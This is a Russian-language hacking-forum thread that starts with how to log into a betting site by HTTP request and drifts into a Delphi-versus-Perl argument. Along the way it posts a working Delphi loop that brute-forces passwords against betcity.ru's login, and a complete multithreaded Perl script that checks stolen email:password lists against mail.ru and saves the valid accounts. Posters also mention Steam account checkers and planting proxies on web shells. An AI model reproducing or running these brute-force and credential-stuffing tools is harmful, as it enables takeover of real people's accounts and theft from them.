Как аторизироваться на http://www.rubet.com/ get запосом? Как он будет выглядеть, и конечно же как вы его нашли? А может это вообще невозможно?
не знаю как в данной ситуации сформировать Get запрос, но стареньким способом через webbrowser (input'ы) вполне реально
Да знаю, как авторизироваться. Проанализировал JS, потом для проверки прошелся Tamper Data плагином к FF
Ну возьми в руки снифер да и посмотри. Пост запрос на http://www.rubet.com/pagemethods.aspx/Login PHP: PostData.Add('__userName=' + username); PostData.Add('password=' + password); IdHTTP.Post('http://www.rubet.com/pagemethods.aspx/Login', PostData);
Парни всем спасибо, авторизировался методом пост описанымвыше. Если интересно просто вывел ответ на запрос в мемо и нашёл слово выход, которого нету если не авторизироваться) Вот такие дела.
запустить тампер дата (а лучше какой полноценный снифер), нажать на ссылку и посмотреть запрос. Повторив это действие ты сможешь нажать на ссылку еще раз. Ещё много, много раз. Хотя обычно ссылки "нажимают" гетом :-D
Вот весь код. Почему не работает? Code: unit Unit1; interface uses Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms, Dialogs, StdCtrls, IdBaseComponent, IdComponent, IdTCPConnection, IdTCPClient, IdHTTP, ExtCtrls; type TForm1 = class(TForm) Memo1: TMemo; IdHTTP1: TIdHTTP; Button1: TButton; Edit1: TEdit; Edit2: TEdit; Memo2: TMemo; Label1: TLabel; Timer1: TTimer; procedure Button1Click(Sender: TObject); private { Private declarations } public { Public declarations } end; var Form1: TForm1; implementation {$R *.dfm} procedure TForm1.Button1Click(Sender: TObject); var DATA: TStringList; good:integer; i:integer; s:string; begin i:=0; good:=0; while good=0 do begin memo1.clear; data:=TStringList.Create; data.add('login='+edit1.text); data.add('pwd='+memo2.Lines[i]); memo1.Text:=IdHTTP1.Post('http://www.betcity.ru/top.php', data); if pos('блабла',memo1.Text)<>0 then begin good:=good+1; Edit2.Text := memo2.Lines[i]; label1.Visible:=true; end; i:=i+1; IdHTTP1.Disconnect; data.Free; end;end; end.
Да нет авторизацию я успешно прохожу. Мне кажется проблема в том, что в мемо не успевает прогрузится текст и соответственно pos('блабла',memo1.Text)<>0 не выполняется должным образом. Да и кстати кто может сказать что нужно добавить, что бы програма была активна? Есть какие-нибудь мысле по решению этой проблемы?
Tip.the.besT учи язык. В делфе есть спецовая функция, чтобы "не зависало", а по хорошему делать надо грамотно. мое ИМХО - делфи, язык не для написания парсеров хремамсеров и прочей дребедени, которую ВЫ (основная масса ачата) пишете юзай PERL - язык специально разрабатывался для форматирования текстовых данных, а потом разросся в огого. В 15 строк бы у меня уместилась бы вся твоя программа, без всяких ухищрений с красивым оформлением кода.
ну так покажи пример на своём Perl... к примеру всем уже известную и поднадоевшую авторизацию вконтакте... и что бы с красивым дизайном
2 solo. Вконтактег меня не интересует. Выдернуто из одного скриптика, в итоге получилась многопоточная (тут все срут кирпичами от этого слова хех) проверка валидности аккаунтов mail.ru через веб интерфейс. Code: #!/usr/bin/perl # (c)oded by Gar|k # usage perl script.pl mails_file(format [email protected]:password) out_file num_threads use LWP::UserAgent; use HTTP::Cookies; use HTTP::Request::Common; use HTML::Entities; use threads; use threads::shared; my $ua = LWP::UserAgent->new; $ua->agent("Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.9.0.19) Gecko/2010031422 Firefox/3.0.19"); my $cookie_jar = HTTP::Cookies->new(); $ua->cookie_jar($cookie_jar); my @bas : shared; my @threads; open(BASE, $ARGV[0]); chomp(@bas = <base>); close(BASE); sub authorization { my ($login, $domain, $pass) = @_; $cookie_jar->clear(); my $ex = $ua->request(POST '[url]http://win.mail.ru/cgi-bin/auth',[/url] ['Login' => $login, 'Domain' => $domain, 'Password' => $pass]); if ($ex->headers_as_string() =~/Set-Cookie: Mpop=/) { return 1; } return 0; } sub check_base { my ($i) = @_; while(my $acc = shift(@bas)) { print 'Thread #'.$i.': '.$acc.' '; my ($login, $domain, $pass) = $acc =~ /^(.+?)@(.+?):(.+?)$/; if (authorization($login,$domain,$pass)) { print "+OK\n"; open(OUT, ">> ".$ARGV[1]); print OUT $1.":".$pass."\n"; close(OUT); } else { print "-ERR\n"; } } } for my $i (1..$ARGV[2]) { push @threads, threads->create(\&check_base, $i); } foreach my $thread (@threads) { $thread->join(); } З.Ы: по коду $ua должен быть для каждого потока свой, лень переделывать. Скрипт автоматической загрузки и установки проксей на веб шелл, 60 строк - вот что нужно писать. Да хотя бы активный сниффер полезнее чем чекер текстового прокола, который можно на коленке за 10 минут написать. Про бинарные не спорю, скорость формирования пакета и различные сетевые премудрости особенно unix систем дают ощутимый пирост.... Но дефли все равно не тот язык ) Для сравнения. Для одного чела я переделывал делфи вариант чекера steam аккаунтов по протоколу steam. Так вот мой вариант на Си проверяет аккаунт меньше чем за 3 секунды. Вариант на делфи тратит > 30 секунд на один акк... а почему вопрос? а потому что данный (я думаю многие) делфи писатель, не знает что такое сетевое программирование, не представляет, как работает система и как грамотно распараллелить процесс. При этом и он и я использовали офф dll клиента steam. З.Ы.Ы: вопрос. зачем чекеру интерфейс? ведь тут важен лишь результат. (это я типа осуждаю клепателей диалогов и тех людей, кто не за терминал хехе)
думаю это не в блокноте всё пишется) какая нужна программа? ссылку если можно... и что вы тогда можете сказать о Visual C++
ИМХО, ты жестко ошибаешся на Делфи можно писать много чего и в том числе парсеры и "хремамсеры" главное не копипастить втупую код, как делают большинство здешних, а разобратся самому что и к чему я согласен, что если код скопипастен и в нем нихрена не понимаешь, то это будет не программа, а хз что. но точно так же получается и с другими ЯП) так что не нужно гнать на Дельфу
Подозреваю что оно не выдержит работу в одновременно 500-1000 коннектов. Да и ГУИ удобнее. Зайди в раздел продаж, там в софте столько настроек, что через консоль зае*ешься указывать параметры. А дельфи: 1. Позволяет клепать формочки. 2. Компилируется в нативный код, что хорошо сказывается на производительности. 3. Под делфи много библиотек, в том числе и с открытым исходным кодом. 4. Поддерживает и процедурный и объектный подход, что позволяет структурировать программы как угодно программисту. 5. "Строгий компилятор", в т.ч. преславутая паскалевская типизация уменьшает количество точек обстрела собственных ног. 6. Работа с текстом, и регулярки - все это есть. Одних реализаций регулярок которые можно использовать в дельфи я знаю как минимум три. Минусов у дельфи больше чем плюсов, но это уже другая история.
Чё то я так помощи и не дождался. Я уже пытался и в переменную загонять ответ потом слип ставил, и опять в мемо выводил. Толку ноль...
А зачем проверять именно по тексту в мемо? response := IdHttp1.Post(...); if Pos(..., response) > 0 then ... так сразу станет ясно, есть ли там нужный текст или нет + научись использовать отладчик Чтобы была активна во время запроса - помести IdAntiFreeze на форму